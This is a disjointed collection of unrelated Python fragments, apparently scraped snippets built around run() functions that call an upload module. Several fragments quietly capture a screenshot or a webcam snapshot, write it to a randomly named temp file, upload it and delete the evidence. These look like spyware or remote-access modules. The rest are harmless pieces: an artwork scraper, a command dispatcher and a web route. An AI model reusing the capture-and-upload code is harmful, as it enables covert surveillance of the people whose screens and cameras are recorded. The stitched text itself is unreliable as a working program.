def run(): image = ImageGrab.grab() filename = ''.join(random.choice(string.ascii_letters) for _ in range(5)) filename += ".jpg" filepath = os.path.join(os.environ['temp'], filename) image.save(filepath) upload.run(filepath) os.remove(filepath)
def run(): try: image = ImageGrab.grab() except Exception as e: utils.send_output("Error while trying to create the screenshot: %s" % (e)) return filename = ''.join(random.choice(string.ascii_letters) for _ in range(5)) filename += ".jpg" filepath = os.path.join(os.environ['temp'], filename) image.save(filepath) upload.run(filepath) os.remove(filepath)
def run(): '''Returns status code ''' ecode = camsnapshot.run() ecode = upload.run() return ecode
help="to find artworks") parser.add_argument("-o", "--outputDirectory", type=str, help="to save finished") parser.add_argument("-l", "--limit", type=int, help="maximum uploads") parser.add_argument("-w", "--width", type=int, help="width of finished") parser.add_argument("-t", "--height", type=int, help="height of finished") args = parser.parse_args() keyword = args.keyword if args.keyword is not None else 'default' dailyLimit = args.limit if args.limit is not None else 10 inputDirectory = args.inputDirectory if args.inputDirectory is not None else 'art' outputDirectory = args.outputDirectory if args.outputDirectory is not None else 'upload' width = args.width if args.width is not None else 4500 height = args.height if args.height is not None else 5400 if not os.path.exists(inputDirectory): os.makedirs(inputDirectory) if not os.path.exists(outputDirectory): os.makedirs(outputDirectory) if args.scrape: scrapeImages.run(keyword, inputDirectory, dailyLimit) merchify.run(width, height, inputDirectory, outputDirectory) if args.upload: upload.run(outputDirectory, dailyLimit)
def run(): filepath = "C:\\Python27\\1.png" upload.run(filepath)
import os, sys import cat, download, upload # Main if len(sys.argv) == 3: command = sys.argv[1] url = sys.argv[2] # switch for commands if command == "cat": cat.run(url) elif command == "download": download.run(url) elif command == "upload": upload.run(url) else: print "Invalid command" else: print "Syntax: %s <command> <url>" % sys.argv[0]
def main(): upload.run() return render_template('success.html')